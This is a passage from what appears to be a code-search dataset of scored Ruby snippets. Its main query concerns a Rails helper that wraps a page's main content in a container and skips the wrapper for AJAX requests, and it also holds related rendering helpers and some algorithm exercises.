# hash[diff] = i\n # end\n # end\n # return []\n\n\n for i in 0..arr.size-1\n if hash[arr[i]]\n partner_index = hash[arr[i]]\n return [partner_index, i]\n else\n diff = t - arr[i]\n hash[diff] = i\n end\n end\nend", "title": "" }, { "docid": "9dac20eaf57cc9c6147d5249d20e9532", "score": "0.5694069", "text": "def lis(array)\n cache = Array.new(array.size) { [] }\n\n array.each_with_index do |current_element, current_index|\n 0.upto(current_index - 1) do |a_previous_index|\n current_gt_a_previous = array[a_previous_index] < current_element\n\n # NOTE: covers case leetcode_array3\n decreasing = cache[current_index].size < (cache[a_previous_index].size+1)\n\n if current_gt_a_previous && decreasing\n cache[current_index] = cache[a_previous_index].dup\n end\n end\n\n # p cache\n cache[current_index] << current_element\n end\n\n cache.max_by(&:size)\nend", "title": "" }, { "docid": "f2563f656f9ad2f58bf4381eb84e80ef", "score": "0.5692111", "text": "def solution(a)\n # write your code in Ruby 2.2\n count = 0\n a.each_with_index do |v,i|\n return -1 if count > 1000000000\n return count if a[i..-1].count(0) == 0\n count = count + a[i..-1].count(1) if v == 0\n end\n count\nend", "title": "" }, { "docid": "1a0b12712962266ef825f6ccc8edd7bd", "score": "0.56914026", "text": "def my_min2(array) #O(n)\n min = array.first\n array.each do |num|\n min = num if num < min\n end\n min\nend", "title": "" }, { "docid": "c55a3146dab8716ca0d9127565ab6770", "score": "0.56898856", "text": "def findCommonElements2(a,b)\n start = Time.now\n result = []\n a.each do |itemA|\n if checkOnB(itemA,b)\n result.push(itemA)\n end\n end\n executionTime = Time.now - start\n return result, executionTime\nend", "title": "" }, { "docid": "bfc3cf7da88769c47030519d8800def5", "score": "0.5688912", "text": "def better_largest_contiguous_subsum(arr) # O(n)\n current_sum = arr.first\n largest_sum = arr.first\n \n arr[1..-1].each do |num|\n current_sum += num\n current_sum = num if current_sum < num \n largest_sum = current_sum if current_sum > largest_sum\n\n end\n largest_sum\nend", "title": "" } ]
3504435134165d204b9b6a86f36d19dd
This method is used to capture the main content for a page and wrap it in a containing element. The content wrapper will be suppressed for AJAX requests.
[ { "docid": "415ff2633df2adf658bd7fa568f4f60c", "score": "0.6232464", "text": "def content(opts = {}, &blk)\n output = capture(&blk)\n if request.xhr?\n output\n else\n content_tag(:div, opts.merge(:id => 'content')) do\n content_tag(:div, output, class: 'content-el-liner')\n end\n end\n end", "title": "" } ]
[ { "docid": "0b3eb3d4083b0041c139fc669d4774ec", "score": "0.6720516", "text": "def within_page_content(&_block)\n within(:css, 'div#content-wrap') { yield }\nend", "title": "" }, { "docid": "e0460e2ac56add6132216e4f8aa07d3a", "score": "0.67011404", "text": "def body_content\n div :class => \"container\" do\n main_container_contents\n end\n end", "title": "" }, { "docid": "e378d495e87c6e6becf2fcd802978757", "score": "0.66818476", "text": "def page_content\n silk_editable? ? page_wrapper : raw(@_content_for[:layout])\n end", "title": "" }, { "docid": "1c6f23ab416c375490ef595eb65c349d", "score": "0.65204495", "text": "def wrap_page( content = \"\", body_id = \"body_class\" )\n b = XmlBuilder::XmlMarkup.new( :indent => 2)\n b.instruct! :xml, :encoding => \"utf-8\", :standalone => \"no\"\n b.declare! :DOCTYPE, :html, :PUBLIC, \"-//W3C//DTD XHTML 1.1//EN\", \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\"\n \n b.html :xmlns => \"http://www.w3.org/1999/xhtml\" do\n b.head do \n b.title( @metadata[\"name\"] )\n for sheet in @stylesheets\n b.link :href => sheet.link.relative_path_from(\"/OEBPS/Text\"), :media => \"all\", :rel => \"stylesheet\", :type => \"text/css\"\n end\n end\n \n \n b.body( :id => body_id ) do\n b << content\n end\n end\n \n b.target!.to_s\n end", "title": "" }, { "docid": "08c5989b1b411265c5becf4acfd3ed20", "score": "0.63118726", "text": "def content\n return @content if @content.present?\n @content = page.present? ? page.present_content(vars) : mailer.render\n end", "title": "" }, { "docid": "51ce6a6aadc9e558cb8883b5d73aadc5", "score": "0.6311841", "text": "def page_content\n doc.css('section#page-content')\n end", "title": "" }, { "docid": "200f14db279921a29d7435d72ec26663", "score": "0.6255522", "text": "def html\n return wrapper(self.content)\n end", "title": "" }, { "docid": "b8d288fd0b2ddb85e43297a8b9976192", "score": "0.6157215", "text": "def html_wrap(page)\n template = ERB.new(open(File.join(File.dirname(__FILE__),\"templates/page.html.erb\")).read)\n template.result(binding)\n end", "title": "" }, { "docid": "5166963a5e49a5029bb60e0d026d212b", "score": "0.61234313", "text": "def page\n content\n end", "title": "" }, { "docid": "14b6a430441fa4b722635196147fd8ba", "score": "0.61156255", "text": "def content\n @_content ||= (view_context.capture(self, &@_content_block) if @_content_block)\n end", "title": "" }, { "docid": "5f954e949c5a75df27f9d86927050d1c", "score": "0.6078426", "text": "def content\n @doc.inner_html\n end", "title": "" }, { "docid": "64006de2238f80de6483c40c853165da", "score": "0.6070515", "text": "def get_content\n # Main content nodeset\n content = @doc.at_xpath('//article[1]/section[2]').children\n\n perform_cleanup\n correct_links\n\n content.to_html\n end", "title": "" }, { "docid": "822b15eb88f02f3b7066cac0f978304e", "score": "0.6041334", "text": "def html_content\n # Handle empty content first by returning an error message\n if @object.content.blank?\n if @object.page_ref&.gleaning.content.blank?\n return GleaningPresenter.new(@object.page_ref&.gleaning, @template, @viewer).html_content\n elsif @object.page_ref&.trimmed_content.blank?\n return PageRefPresenter.new(@object.page_ref, @template, @viewer).html_content\n end\n end\n\n hc = if content_for(:rp_inglist).present? && content_for(:rp_instructions).present?\n with_format('html') { render 'recipes/formatted_content', presenter: self, locals: {presenter: self} }\n else\n (@object.content || '').html_safe\n end\n if response_service.admin_view? && @object.content\n hc += content_tag(:h2, 'Raw Parsed Content -------------------------------') + @object.content.html_safe\n end\n hc\n end", "title": "" }, { "docid": "61f5c2fd6d9f2a351bcccbabbc071e11", "score": "0.60360676", "text": "def render_extra_content(example)\n build_fragment do |doc|\n doc.div(class: 'row extra-content') do\n doc.div(class: 'large-12 columns') do\n doc.div(class: 'section-container auto', 'data-section' => '') do\n doc << render_failshot_if_found(example)\n doc << render_stack_trace(example)\n doc << render_log_if_found(example, 'server.log')\n doc << render_log_if_found(example, 'chromedriver.log')\n doc << render_log_if_found(example, 'firefox.log')\n doc << render_log_if_found(example, 'sauce_job.log')\n doc << render_dom_html_if_found(example)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "952f7cf08abec812ab277187676c66d7", "score": "0.6031898", "text": "def render page = self, content = nil\n content = subrender page, content\n\n layout = self.layout # TODO: make nullpage to avoid 'if layout' tests\n content = layout.render page, content if layout\n\n content\n end", "title": "" }, { "docid": "952f7cf08abec812ab277187676c66d7", "score": "0.6031898", "text": "def render page = self, content = nil\n content = subrender page, content\n\n layout = self.layout # TODO: make nullpage to avoid 'if layout' tests\n content = layout.render page, content if layout\n\n content\n end", "title": "" }, { "docid": "c5b84c99a68aaf2a3309aff69c3e49fa", "score": "0.6026768", "text": "def render\n # Set the summary to be the first paragraph\n @summary = $1 if @html =~ (/(?:<p>)(.*?)(?:<\\/p>)/m)\n # Append the full site URL to any links referring to the root folder\n @html.gsub!(/(href|src)=\\\"\\//, '\\1=\"' + WhoNeedsWP::options[:url] + '/')\n # Render the content HTML within a page\n WhoNeedsWP::render_html(@filename[:generated], \"page\", @html, @title, @tags, @summary)\n end", "title": "" }, { "docid": "15243093f3260053b39c51bdbf583a97", "score": "0.6017953", "text": "def page_content_to_html\n html = Nokogiri::HTML(self.page_content)\n end", "title": "" }, { "docid": "554989969847de8e0eb38aa374f8534b", "score": "0.6011441", "text": "def switch_to_main_content\r\n @browser.driver.switch_to.default_content\r\n end", "title": "" }, { "docid": "a4956aeeefa76fb73163c62b3d035405", "score": "0.6010407", "text": "def process\n replace_tag_into_template! 'genit.pages', page_content\n end", "title": "" }, { "docid": "2c636a63add5f25739a5f23b1f6ae216", "score": "0.5930549", "text": "def wrap_inside_landing_page_template(&block)\n wrap_template(:landing_page_template, &block)\n end", "title": "" }, { "docid": "95d8d07f5869bbbd5b389f5ad5619e29", "score": "0.592946", "text": "def render_content\n content\n end", "title": "" }, { "docid": "adff7269239a1792b92244b642d3dbba", "score": "0.5923617", "text": "def wrap_in_layout( content, request )\n\t\treturn content unless self.layout\n\n\t\tself.layout.reload if self.layout.changed?\n\t\tl_template = self.layout.dup\n\t\tself.log.debug \" wrapping response in layout %p\" % [ l_template ]\n\t\tl_template.body = content\n\n\t\treturn l_template\n\tend", "title": "" }, { "docid": "0ea1d209b07a141dc7bfaf170410c10f", "score": "0.59206915", "text": "def process_html(content)\n\t\t\t\tcontent.output = if content.output.include? ASIDE_START_TAG\n\t\t\t\t\thead, opener, tail = content.output.partition(CLOSING_ASIDE_TAG_REGEX)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\thead, opener, tail = content.output.partition(POST_CONTENT_CLASS)\n\t\t\t\t\t\t\t\tend\n\t\t\t\tbody_content, *rest = tail.partition(\"</body>\")\n\t\t\t\t\n\t\t\t\tprocessed_markup = process_words(body_content)\n\t\t\t\t\n\t\t\t\tcontent.output = String.new(head) << opener << processed_markup << rest.join\n\t\t\tend", "title": "" }, { "docid": "d2895b6b08c6aa03ce45b1e9b2b95232", "score": "0.59109384", "text": "def html()\n _html = \"<div id=\\\"page\\\">\\n\"\n\n # Wrap title in anchor if link is provided\n _html += \"<h1 id=\\\"title\\\">#{@content[:title]}</h1>\\n\"\n\n # Add the rest of the necessary content\n _html += \"<div id=\\\"body\\\">\\n\" +\n \"#{@content[:body]}\\n\" +\n \"</div>\" +\n \"</div>\"\n\n _html\n end", "title": "" }, { "docid": "7cb0e543203bf818db86708058dc129b", "score": "0.5896405", "text": "def interpolated_content page \n handler = page.handler\n\n until (handler.nil?)\n handler = handler.delegate\n if handler.class == ::Awestruct::Handlers::InterpolationHandler\n return handler.rendered_content page.create_context(page.raw_content)\n end\n end\n page.raw_content\n end", "title": "" }, { "docid": "c0bdc0594a126f57f1a17b5993993a2d", "score": "0.58591866", "text": "def render\n if render_in_body\n super\n else\n content_tag(:div, html_options) do\n body\n end\n end\n end", "title": "" }, { "docid": "08098404d1fe5b82ad5d29be4a5f99c3", "score": "0.58327377", "text": "def body_content(farm)\n farm_html\n end", "title": "" }, { "docid": "1e5f6316773fee326360d1b9e0f61f75", "score": "0.5819408", "text": "def page_html\n\t\tload_page.to_html\n\tend", "title": "" }, { "docid": "50ccecc1fd60dfb7529165abcc1b5e34", "score": "0.5808439", "text": "def catalog_html_content\n wait_for_ajax\n page_content(\"$('.resultList .product-row').parent().html();\")\n end", "title": "" }, { "docid": "561d95246f390b694dd777e1940e3ee8", "score": "0.579257", "text": "def extract_body\n doc = @doc.clone\n\n # Remove WordPress HighSlide(tm) image-zoom javascript link from images:\n doc.css(\".highslide\").each do |element|\n element.remove_attribute('onclick')\n element.css(\"span\").remove\n end\n doc.css(\".highslide-caption\").each do |element|\n element.remove\n end\n\n doc.css(\".subContent h1\").first.remove\n doc.css(\".subContent .toc-container\").remove\n\n # Remove introduction\n doc.css(\".subContent\").children.each do|child|\n if(not(child.to_s[/^\\s$/m]))\n child.remove if(child.name == \"h2\")\n break\n end\n end\n\n doc.css(\".subContent\").inner_html\n end", "title": "" }, { "docid": "edc61ecc6bd1eca50528ddb328e744ed", "score": "0.5770806", "text": "def initial_page_content(page)\n helper = Redmine::WikiFormatting.helper_for(Setting.text_formatting)\n extend helper unless self.instance_of?(helper)\n helper.instance_method(:initial_page_content).bind_call(self, page)\n end", "title": "" }, { "docid": "c84ec7c3ba23ab5b3576b031f7ed0ee0", "score": "0.5760121", "text": "def master_render_cms\n get_master_context\n find_and_render_page\n end", "title": "" }, { "docid": "f2ef616a10c802ad857ce9e8b5d51b77", "score": "0.57588524", "text": "def render_content\n invoke(\"*\")\n end", "title": "" }, { "docid": "aba897abe8f6f3240f887e4392aa12cd", "score": "0.5716717", "text": "def initial_page_content(page)\n helper = Redmine::WikiFormatting.helper_for(Setting.text_formatting)\n extend helper unless self.instance_of?(helper)\n helper.instance_method(:initial_page_content).bind(self).call(page)\n end", "title": "" }, { "docid": "6f2f208ee57a7b3800930109afc46601", "score": "0.5707018", "text": "def content\n @template_page\n end", "title": "" }, { "docid": "8a236ed74744ee8c9806fa6c304140c1", "score": "0.5698517", "text": "def render\n content_tag(base_element, html_options) do\n (block_given? ? yield : body)\n end\n end", "title": "" }, { "docid": "2cad23b09d21fad4e2863fbc4c046b48", "score": "0.56918997", "text": "def content\n super\n @renderer = @widget.content\n div :id => 'doc3' do\n if @renderer.render? :header\n div :id => 'hd' do\n if @renderer.render? :top_line\n render_top_line\n end\n if @renderer.render? :title\n render_title\n end\n end\n end\n div :id => 'bd' do\n render_body\n end\n if @renderer.render? :footer\n div :id => 'ft' do\n render_footer\n end\n end\n end\n end", "title": "" }, { "docid": "3fe04da46a8424f71e1d05f638f64751", "score": "0.5684044", "text": "def __process\n @context = :template\n\n # If we have a template, we process that, otherwise we process the page\n if (@page.template.nil?)\n @context = :body\n html = __parse(@page.__body, @page.__source_path)\n else\n puts \"- using template: #{@page.template}\"\n html = __parse(Loki::Utils.load_component(@page.__source_root,\n @page.template), File.join(@page.__source_root, 'components',\n @page.template))\n end\n\n html = \"<body>\\n#{html}</body>\\n\"\n\n # Handle all the header stuff; title, css, js, etc.\n head = \" <meta charset=\\\"UTF-8\\\" />\\n\"\n if (@page.title)\n head += \" <title>#{@page.title}</title>\\n\"\n end\n if (@page.css)\n @page.css.each do |css|\n css_path = __make_relative_path(\"assets/#{css}\",\n @page.__destination_path)\n head += \" <link rel=\\\"stylesheet\\\" href=\\\"#{css_path}\\\" \" +\n \"type=\\\"text/css\\\" />\\n\"\n Loki::Utils.copy_asset(@page.__source_root,\n @page.__destination_root, css)\n end\n end\n if (@page.javascript)\n @page.javascript.each do |js|\n js_path = __make_relative_path(\"assets/#{js}\",\n @page.__destination_path)\n head += \" <script src=\\\"#{js_path}\\\" type=\\\"text/javascript\\\">\" +\n \"</script>\\n\"\n Loki::Utils.copy_asset(@page.__source_root,\n @page.__destination_root, js)\n end\n end\n if (@page.favicon)\n @page.favicon.each do |icon|\n icon_path = __make_relative_path(\"assets/#{icon[2]}\",\n @page.__destination_path)\n head += \" <link rel=\\\"#{icon[1]}\\\" type=\\\"image/png\\\" \"\n head += \"href=\\\"#{icon_path}\\\" sizes=\\\"#{icon[0]}x#{icon[0]}\\\" />\\n\"\n Loki::Utils.copy_asset(@page.__source_root,\n @page.__destination_root, icon[2])\n end\n end\n if (@page.head)\n head += @page.head\n end\n html = \"<head>\\n#{head}</head>\\n#{html}\"\n\n @page.__html = \"<html>\\n#{html}</html>\\n\"\n end", "title": "" }, { "docid": "0733c3c6b24ff47cd46176a0179d3eb2", "score": "0.5652748", "text": "def content\n view_context.content_for(:layout)\n end", "title": "" }, { "docid": "eb58285189b07b570a02733502bbe477", "score": "0.5637853", "text": "def render_document_main_content_partial(_doc = nil, locals = nil)\n render_template('show_main_content', locals)\n end", "title": "" }, { "docid": "eb58285189b07b570a02733502bbe477", "score": "0.5637853", "text": "def render_document_main_content_partial(_doc = nil, locals = nil)\n render_template('show_main_content', locals)\n end", "title": "" }, { "docid": "1fcec0b6e5ec78ec24cb926fbb891a54", "score": "0.5637733", "text": "def govuk_page_content(page_details, model_object = nil, no_headings = false, no_back_button = false, no_error_block = false)\n raise ArgumentError, 'Use PageDescription object' unless page_details.is_a? PageDescription\n\n @no_back_button = no_back_button\n @no_error_block = no_error_block\n @no_headings = no_headings\n\n out = ''\n out = capture { govuk_back_button(page_details.back_button) } unless no_back_button\n out << capture { govuk_page_error_summary(model_object) } unless model_object.nil? || !model_object.respond_to?(:errors) || no_error_block\n out << capture { govuk_page_header(page_details.heading_details) } unless no_headings\n\n out << capture do\n yield(page_details)\n end\n\n out.html_safe\n end", "title": "" }, { "docid": "f9025153eac48720c48c85d012d13298", "score": "0.56258625", "text": "def simple_content_container(options={}, &proc)\n content_container(options.merge(:with_content => true), &proc)\n end", "title": "" }, { "docid": "250aa5ed419e7cb6067b9db877fec391", "score": "0.5621564", "text": "def catalog_html_content\n wait_for_product_catalog_div(TimeOut::WAIT_BIG_CONST)\n return Nokogiri::HTML('') unless page.has_css?(@catalog_div_css, wait: TimeOut::WAIT_MID_CONST)\n\n page_content(\"$(\\\"#{@catalog_div_css}\\\").html();\")\n end", "title": "" }, { "docid": "6cbb129457ae49a986068007fe068f98", "score": "0.5614608", "text": "def get_inner_html\n # Interface method\n end", "title": "" }, { "docid": "dc48ddfdcafc7b3dc8d20bd168c7f257", "score": "0.56125474", "text": "def get_outer_html\n # Interface method\n end", "title": "" }, { "docid": "1c2c0ff8149b89bbc254c5eae4cd3256", "score": "0.5597038", "text": "def begin_page(arg = nil)\n @content << \"\"\n end", "title": "" }, { "docid": "1c2c0ff8149b89bbc254c5eae4cd3256", "score": "0.5597038", "text": "def begin_page(arg = nil)\n @content << \"\"\n end", "title": "" }, { "docid": "1c2c0ff8149b89bbc254c5eae4cd3256", "score": "0.5597038", "text": "def begin_page(arg = nil)\n @content << \"\"\n end", "title": "" }, { "docid": "1c2c0ff8149b89bbc254c5eae4cd3256", "score": "0.5597038", "text": "def begin_page(arg = nil)\n @content << \"\"\n end", "title": "" }, { "docid": "1c2c0ff8149b89bbc254c5eae4cd3256", "score": "0.5597038", "text": "def begin_page(arg = nil)\n @content << \"\"\n end", "title": "" }, { "docid": "1c2c0ff8149b89bbc254c5eae4cd3256", "score": "0.5597038", "text": "def begin_page(arg = nil)\n @content << \"\"\n end", "title": "" }, { "docid": "1c2c0ff8149b89bbc254c5eae4cd3256", "score": "0.5597038", "text": "def begin_page(arg = nil)\n @content << \"\"\n end", "title": "" }, { "docid": "1c2c0ff8149b89bbc254c5eae4cd3256", "score": "0.5597038", "text": "def begin_page(arg = nil)\n @content << \"\"\n end", "title": "" }, { "docid": "5e8254d288baab731110726b4f9dea92", "score": "0.55926037", "text": "def render_with_template\n if self.page_template\n self.page_template.render do |template|\n fill_in_placeholders(template)\n end\n else\n fill_in_placeholders(\"<h1>TITLE</h1><div>BODY</div><div>COMMENTS</div>\")\n end\n end", "title": "" }, { "docid": "7285ca1809c28b897cce63f344539ddb", "score": "0.5592331", "text": "def _layout_page\n @content = _render_page\n\n _track_rendering(@page.path) {\n _render_layout_for(@page)\n }\n raise ::Webby::Error, \"rendering stack corrupted\" unless @@stack.empty?\n\n @content\n rescue ::Webby::Error => err\n @logger.error \"while rendering page '#{@page.path}'\"\n @logger.error err.message\n return nil\n rescue Exception => err\n @logger.error \"while rendering page '#{@page.path}'\"\n @logger.fatal err\n ensure\n @content = nil\n @@stack.clear\n end", "title": "" }, { "docid": "babac2de22248825fb101563445da843", "score": "0.5590947", "text": "def capture_content\n original, @_output = output, Output.new\n yield\n original.widgets.concat(output.widgets) # todo: test!!!\n output.to_s\n ensure\n @_output = original\n end", "title": "" }, { "docid": "6bb0adb5fa7a9ac56dcdd35e93ebcb19", "score": "0.55871266", "text": "def page_preview\n # add the body if we've got it\n body = '' + (check_for_bad_xhtml(params[:page][:body_raw], 'page', params[:page][:text_filter]) if params[:page][:body_raw])\n # dump it out\n render :text => body\n end", "title": "" }, { "docid": "7d056072f09ddb0dd68d20040800da1e", "score": "0.5585546", "text": "def wrap_page(source)\n return <<-EOHTML\n<!DOCTYPE html>\n<html>\n<head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n <title>The source code</title>\n <link href=\"../resources/prettify/prettify.css\" type=\"text/css\" rel=\"stylesheet\" />\n <script type=\"text/javascript\" src=\"../resources/prettify/prettify.js\"></script>\n <style type=\"text/css\">\n .highlight { display: block; background-color: #ddd; }\n </style>\n <script type=\"text/javascript\">\n function highlight() {\n document.getElementById(location.hash.replace(/#/, \"\")).className = \"highlight\";\n }\n </script>\n</head>\n<body onload=\"prettyPrint(); highlight();\">\n <pre class=\"prettyprint lang-js\">#{source}</pre>\n</body>\n</html>\n EOHTML\n end", "title": "" }, { "docid": "60f01f83f3980627b673f8ba59a52c01", "score": "0.55773515", "text": "def page_body\n find '#active_admin_content'\n end", "title": "" }, { "docid": "a87447153b5fad417649724bef53a694", "score": "0.5565929", "text": "def clean_page_message_content\n @body = self.page_message\n if @body.include?('<div>')\n @newbody = @body.gsub('<div>', '').gsub('</div>', '')\n self.update_attribute('page_message', @newbody)\n end\n end", "title": "" }, { "docid": "0a5455e79ff44498ecfa61c7288b6521", "score": "0.55517143", "text": "def render_static_ad_landing_primary_content\n # This reproduces content from static sample version.\n primary_content = <<-HTML\n <div id=\"column-container\" class=\"ad-landing-column-container\">\n <div id=\"left-column\" class=\"ad-landing-left-column\">\n <h2 class=\"ad-landing-title\">%s</h2>\n %s\n %s\n </div>\n <div id=\"right-column\" class=\"ad-landing-right-column\">\n %s\n %s\n %s\n </div>\n </div>\n HTML\n\n format(\n primary_content,\n 'Master of Business Administration',\n render_static_partial('widgets/ad_landing_page/messaging_with_video'),\n render_static_partial('widgets/ad_landing_page/messaging_with_image'),\n render_static_partial('widgets/ad_landing_page/feature_points'),\n render_static_partial('widgets/ad_landing_page/excerpt'),\n render_static_partial('widgets/ad_landing_page/messaging_only')\n )\n end", "title": "" }, { "docid": "b1a3813de5cbee809b2694c4ede50fcf", "score": "0.55429626", "text": "def content_html\n body = safe_join(\n [\n content_tag(\"h1\", work.title),\n content_tag(\"div\", intro_matter, class: \"intro-matter\"),\n content_tag(\"h2\", mode.to_s.titlecase),\n pages_html\n ].compact\n )\n\n # to apply CSS that prawn-html will use we NEED to embed it in an HTML doc\n # like this, which we do the stupidest way, to choose a custom font, and\n # some appropriate sizing/spacing.\n <<~EOS.html_safe\n <html>\n <head>\n <style>\n #{style_css}\n </style>\n </head>\n <body>\n #{body}\n </body>\n </html>\n EOS\n end", "title": "" }, { "docid": "1f37604e55a215d4ded2d7a11a430c8d", "score": "0.5540737", "text": "def render_standalone\n render_template('content_blobs/view_content_frame',\n { renderer: self },\n layout: layout)\n end", "title": "" }, { "docid": "be867fc03d2158b9eae571d2ac109a15", "score": "0.55336887", "text": "def html_layout\n self.html_template.gsub(/~~content~~/, \"<%= yield %>\")\n end", "title": "" }, { "docid": "9bd221859e8cc53665c7ee9371e83ab1", "score": "0.55305225", "text": "def subrender page = self, content = nil\n self.filetypes.inject(content) { |cont, type|\n send \"render_#{type}\", page, cont\n } || self.body\n end", "title": "" }, { "docid": "9bd221859e8cc53665c7ee9371e83ab1", "score": "0.55305225", "text": "def subrender page = self, content = nil\n self.filetypes.inject(content) { |cont, type|\n send \"render_#{type}\", page, cont\n } || self.body\n end", "title": "" }, { "docid": "86e9f7c22b09b41b3e6e3afc2f43b1cd", "score": "0.5527466", "text": "def render_content\n fail 'needs to be implemented'\n end", "title": "" }, { "docid": "7526e174c1eae082d114298c41a3726f", "score": "0.55261266", "text": "def decorate_content content, options = {}\n return unless content\n\n doc = Nokogiri::HTML.fragment('<div>' << content << '</div>')\n\n yield doc\n\n if footer = options[:footer]\n content_div = doc.css('> .content')\n\n if content_div.length > 0\n content_div.children.last.after footer\n end\n end\n\n # Unwrap additional block level elements inside p\n doc.search('p > article, p > figure, p > section').each do |node|\n node.parent.replace(node)\n end\n\n doc.child.inner_html\n end", "title": "" }, { "docid": "dff5e21030038ac6fe843d1d8314a77d", "score": "0.5521563", "text": "def switch_to_main_content\n page.driver.browser.switch_to.window(page.driver.browser.window_handles.first)\nend", "title": "" }, { "docid": "5c6a6ed05a622e7daf6323b513952963", "score": "0.55197436", "text": "def wrap_content_in_tag(content)\n PageCell::Template.new {content}.render(view_context)\n end", "title": "" }, { "docid": "34d4f2bfe905232ffdb3c7669e4a5909", "score": "0.5515493", "text": "def render_app_root_content(cms_layout, assigns)\n graphql_presend_presenter = GraphqlPresendPresenter.new(controller: controller, cms_parent: cms_parent)\n doc = Nokogiri::HTML.parse(\"<!DOCTYPE html><html><head>#{assigns[\"content_for_head\"]}</head><body></body></html>\")\n doc.xpath(\"//body/*\").remove\n doc.xpath(\"//body\").first.inner_html =\n (assigns[\"browser_warning\"] || \"\") + NOSCRIPT_WARNING +\n tag.div(\n \"\",\n \"data-react-class\" => \"AppRoot\",\n \"data-react-props\" =>\n (controller&.app_component_props || {}).merge(\n queryData: graphql_presend_presenter.graphql_presend_data\n ).to_json\n )\n doc.to_s.html_safe\n rescue StandardError => e\n Rollbar.warn(e)\n Rails.logger.warn e\n render_layout_content(cms_layout, liquid_assigns_for_single_page_app(cms_layout).merge(assigns))\n end", "title": "" }, { "docid": "6c5c2c61a66052da5a5f9ab64f5f91d8", "score": "0.5505633", "text": "def mock_content content\n\t\t@page_content = PageContent.new(0,content)\n\tend", "title": "" }, { "docid": "baee396382936fcf3a62fe0237dd73ad", "score": "0.5502069", "text": "def render_page\n load_shared_pages\n set_meta_data\n set_page_types_ivars\n add_page_breadcrumbs\n render_page_template\n end", "title": "" }, { "docid": "4419812db89449536b7fb3626a62ed9f", "score": "0.54889315", "text": "def rendering_contents(rendering)\n raise \"depricated?\"\n render(\n :partial => rendering.part.absolute_partial_name, \n :object => rendering.content, \n :locals => rendering.final_options\n )\n end", "title": "" }, { "docid": "6e2e56000ab0c373ac0a2007c7402a39", "score": "0.54883105", "text": "def start_of_content(object_in_context, main_title)\n render :partial => 'shared/public_pages/content_start',\n :locals => {:object => object_in_context, :main_title => main_title}\n end", "title": "" }, { "docid": "06ad5b2b978ec65d71d779daf4178667", "score": "0.5478434", "text": "def view_layouts_base_content(context={})\n request = context[:request]\n if context[:controller].controller_name == 'wiki' && context[:controller].action_name == 'show' then\n wiki_title = URI.decode(request.path.split(\"/\").last)\n str = URI.decode(request.path.split(\"/projects/\").last)\n identifier = str.split(\"/wiki/\").first\n wiki_pages = WikiPage.where(title: wiki_title)\n for wiki_page in wiki_pages do\n if wiki_page.project.identifier == identifier then\n wiki = wiki_page\n break\n else\n wiki = nil\n end\n end\n if wiki != nil then\n wiki_id = wiki.id\n like = Like.where(like_id: wiki_id).where(like_type: 'wiki')\n like_count = like.length\n like_sender_ids = like.pluck(:user_id)\n like_senders = User.where(id: like_sender_ids)\n is_wiki = true\n else\n wiki_id = 0\n like_count = 0\n is_wiki = false\n end\n else\n wiki_id = 0\n like_count = 0\n is_wiki = false\n end\n icon_design = LikeConstants::ICON_DESIGN\n context[:controller].send(:render_to_string, {\n :partial => \"wiki/layoutsBaseContent\",\n :locals => { id: wiki_id, count: like_count, type: 'wiki', is_wiki: is_wiki, design: icon_design, like_senders: like_senders}\n })\n end", "title": "" }, { "docid": "2bbf865abff228c3f263d094e630c462", "score": "0.54719853", "text": "def capture_content &block\n block_given? ? block.call.html_safe : \"\".html_safe\n end", "title": "" }, { "docid": "d4c0df09ec9e61a711424ad523d1f010", "score": "0.546446", "text": "def render\n content\n end", "title": "" }, { "docid": "d4c0df09ec9e61a711424ad523d1f010", "score": "0.546446", "text": "def render\n content\n end", "title": "" }, { "docid": "d4c0df09ec9e61a711424ad523d1f010", "score": "0.546446", "text": "def render\n content\n end", "title": "" }, { "docid": "d4c0df09ec9e61a711424ad523d1f010", "score": "0.546446", "text": "def render\n content\n end", "title": "" }, { "docid": "d4c0df09ec9e61a711424ad523d1f010", "score": "0.546446", "text": "def render\n content\n end", "title": "" }, { "docid": "d4c0df09ec9e61a711424ad523d1f010", "score": "0.546446", "text": "def render\n content\n end", "title": "" }, { "docid": "feccf2e53e4105fc452274b222e7063c", "score": "0.54619944", "text": "def content\n body = doc.css(\"body\")\n content = body.css(\"article.b-singlepost-body\").inner_html\n content = body.inner_html if content.empty?\n end", "title": "" }, { "docid": "916888d4f7689c6b3f38999720724422", "score": "0.5457359", "text": "def render_page(page)\n\t\tlogger.info \"ApplicationController::render_page - Rendering page\"\n\t\t\n\t\t# Ensure we have retrieved the site\n\t\tif @site.nil?\n\t\t\t@site = current_site\n\t\tend\n\n\t\tif !page.nil?\n\t\t\t@page = page\n\t\tend\n\n\t\tif @page.nil?\n\t\t\tlogger.error \"ApplicationController::render_page - Page passed to render_page was empty\"\n\t\t\tlogger.error \"ApplicationController::render_page - Redirecting to error page\"\n\t\t\tredirect_to :controller => \"error\", :action => \"page_not_found\" and return\n\t\t\treturn\n\t\tend\n\n\t\tlogger.info \"ApplicationController::render_page - Checking page content\"\n\t\t@page.final_content = @page.content\n\n\t\tlogger.debug \"ApplicationController::render_page - #{@page.final_content}\"\n\n\t\tunless @page.page_template.nil?\n\t\t\tlogger.info \"ApplicationController::render_page - Page template found. Getting template content\"\n\t\t\t@page.final_content = @page.page_template.content\n\t\t\t@page.final_content = @page.final_content.gsub(/#CONTENT#/, @page.content)\n\t\tend\n\n\t\tlogger.info \"ApplicationController::render_page - Attempting to render page element\"\n\t\thandle_content(\"MENU\", @page)\n\t\thandle_content(\"GALLERY\", @page)\n\t\thandle_content(\"ALBUM\", @page)\n\t\thandle_content(\"BLOG\", @page)\n\t\thandle_content(\"POST\", @page)\n\t\thandle_content(\"FORM\", @page)\n\t\thandle_all_galleries @page\n\t\thandle_all_albums @page\n\n\t\tlogger.info \"ApplicationController::render_page - Page rendering complete\"\n\t\trender :template => \"/display/handle_request\" and return\n\tend", "title": "" }, { "docid": "bc79aff1a22a3eca23fcb512f0ff6692", "score": "0.545592", "text": "def content(**data)\n return @content unless @content.blank?\n\n template.result(data)\n end", "title": "" }, { "docid": "c1d91220fe1845b06657a5b54f139059", "score": "0.54543114", "text": "def main_content\n content_for_layout = content_for(:layout)\n if content_for_layout.is_a?(Arbre::Element)\n current_arbre_element.add_child content_for_layout.children\n else\n text_node content_for_layout\n end\n end", "title": "" }, { "docid": "7cc9e50b92540405e7ccd30fe056405f", "score": "0.5449378", "text": "def generate\n \n e = ERB.new(open('template/webpage.html.erb').read)\n\n root_page = write_page(@root_page, e)\n\n root_page\n end", 